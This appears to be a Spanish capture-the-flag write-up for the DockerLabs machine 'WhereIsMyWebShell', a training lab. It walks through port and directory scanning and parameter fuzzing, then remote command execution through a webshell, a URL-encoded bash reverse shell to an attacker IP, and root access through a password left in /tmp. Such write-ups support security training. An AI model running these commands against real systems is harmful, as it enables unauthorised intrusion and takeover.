> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/whereismywebshell.md).

# WhereIsMyWebShell

#### **Despliegue de la Máquina:**

**1. Descarga:**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **WhereIsMyWebShell** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

**2. Descompresión:**

Extraemos los archivos usando `7z`:

```bash
7z x whereismywebshell.zip
```

<figure><img src="/files/DbAkJ9SScdSj5awkcUQy" alt=""><figcaption></figcaption></figure>

**3. Ejecución:**

Desplegamos la máquina con:

```bash
bash auto_deploy.sh whereismywebshell.tar
```

<figure><img src="/files/B1ZSnjGfCtKAa3vfo878" alt=""><figcaption></figcaption></figure>

**Resultado:** La máquina se inicia con la IP `172.17.0.2`.

***

#### **Reconocimiento:**

**1. Verificación de Conectividad:**

Confirmamos que la máquina responde:

```bash
ping -c 1 172.17.0.2
```

<figure><img src="/files/r7LOkGYj8KjaWB1MtVnB" alt=""><figcaption></figcaption></figure>

**2. Escaneo de Puertos:**

Escaneo rápido con `nmap` para identificar puertos abiertos:

```bash
nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Explicación de los parámetros:**

* `-p-`: Escanea todos los puertos (1-65535).
* `-sS`: Escaneo SYN (stealth, no completa la conexión TCP).
* `--open`: Muestra solo puertos abiertos.
* `--min-rate 5000`: Acelera el escaneo enviando 5000 paquetes/segundo.
* `-vvv`: Máximo nivel de verbosidad (más detalles).
* `-n`: Evita resolución DNS (más rápido).
* `-Pn`: Trata el host como activo (evita detección por `ping`).
* `-oG allPorts`: Guarda los resultados en formato Grepable, en el archivo `allPorts`.

**Resultado:**

* **Puerto 80:** `HTTP`.

<figure><img src="/files/ymtotb1Dkl0bKtJouJ5w" alt=""><figcaption></figcaption></figure>

**3. Escaneo Detallado del Servicio Web:**

Análisis profundo del servicio web:

```bash
nmap -p80 -sCV 172.17.0.2 -oN targeted
```

**Explicación de los parámetros:**

* `-p80`: Especifica el puerto que se desea escanear, en este caso el **puerto 80**.
* `-sCV`: Escaneo de versiones (`-sV`) y ejecución de scripts básicos de reconocimiento (`-sC`).
* `-oN targeted`: Guarda la salida en formato normal, en el archivo `targeted`.

**Resultado:**

* **Puerto 80:** Apache httpd 2.4.57.

<figure><img src="/files/zzej2zN2E8y8WiGtgeel" alt=""><figcaption></figcaption></figure>

**4. Análisis del Servicio Web:**

Accedemos a `http://172.17.0.2/` y encontramos:

* **Página simple con mensaje:** "¡Contáctanos hoy mismo para más información sobre nuestros programas de enseñanza de inglés! Guardo un secretito en `/tmp` ;)".

<figure><img src="/files/sIycWW1qFkgbBTYf059S" alt=""><figcaption></figcaption></figure>

**5. Fuerza Bruta de Directorios y Archivos:**

Buscamos directorios y archivos ocultos con `gobuster`:

```bash
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html
```

**Explicación de los parámetros:**

* `dir`: Modo de búsqueda de directorios.
* `-u`: URL objetivo.
* `-w`: Wordlist a usar.
* `-x`: Extensiones a buscar (`php`, `html`).

<figure><img src="/files/P6OyEXu1DzV6crv3eMy6" alt=""><figcaption></figcaption></figure>

**Resultados:**

* `/warning.html`.
* `/shell.php`.

**6. Análisis de `warning.html`:**

Accedemos a `http://172.17.0.2/warning.html` y encontramos el siguiente mensaje:

```html
"Esta web ha sido atacada por otro hacker, pero su webshell tiene un parámetro que no recuerdo..."
```

<figure><img src="/files/sb62S3J1LdgnCi2M9DgO" alt=""><figcaption></figcaption></figure>

**7. Descubrimiento del Parámetro:**

Usamos `wfuzz` para encontrar el parámetro oculto:

```bash
wfuzz -c --hh=0 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://172.17.0.2/shell.php?FUZZ=test"
```

<figure><img src="/files/pLcvyeinfOmapObsoihG" alt=""><figcaption></figcaption></figure>

**Resultado:** El parámetro es `parameter`.

***

#### **Explotación:**

**1. Ejecución de Comandos:**

Verificamos RCE (Remote Code Execution):

```
http://172.17.0.2/shell.php?parameter=whoami
```

<figure><img src="/files/7EUjIe2cu3MAxjgSqvgH" alt=""><figcaption></figcaption></figure>

**Respuesta:** `www-data`.

**2. Reverse Shell:**

Preparamos un listener en nuestro equipo:

```bash
nc -lvnp 123
```

<figure><img src="/files/OvBr3ycIldteeSa1yB3z" alt=""><figcaption></figcaption></figure>

Enviamos una reverse shell codificada en formato URL a través del navegador:

```
http://172.17.0.2/shell.php?parameter=bash%20-c%20%22bash%20-i%20%3E%26%20%2fdev%2ftcp%2f100.100.100.4%2f123%200%3E%261%22
```

<figure><img src="/files/UD9FDFtUMrQiup8wHlxb" alt=""><figcaption></figcaption></figure>

Accedemos a la máquina con el usuario `www-data`.

<figure><img src="/files/Tbrtmc0cqJhX8VtBjluY" alt=""><figcaption></figcaption></figure>

***

#### **Escalada de Privilegios:**

**1. Acceso a Credenciales de Root:**

Recordando la pista inicial, revisamos el directorio `/tmp`.

<figure><img src="/files/eeN7hth4l01V5RCtRqR8" alt=""><figcaption></figcaption></figure>

**Resultado:** El archivo `.secret.txt` contiene la contraseña del usuario `root`.

**2. Acceso como Root:**

```bash
su root
```

<figure><img src="/files/qwdGLt8XFqsMLepRX3uX" alt=""><figcaption></figcaption></figure>

**Resultado:** Obtenemos acceso como `root`.
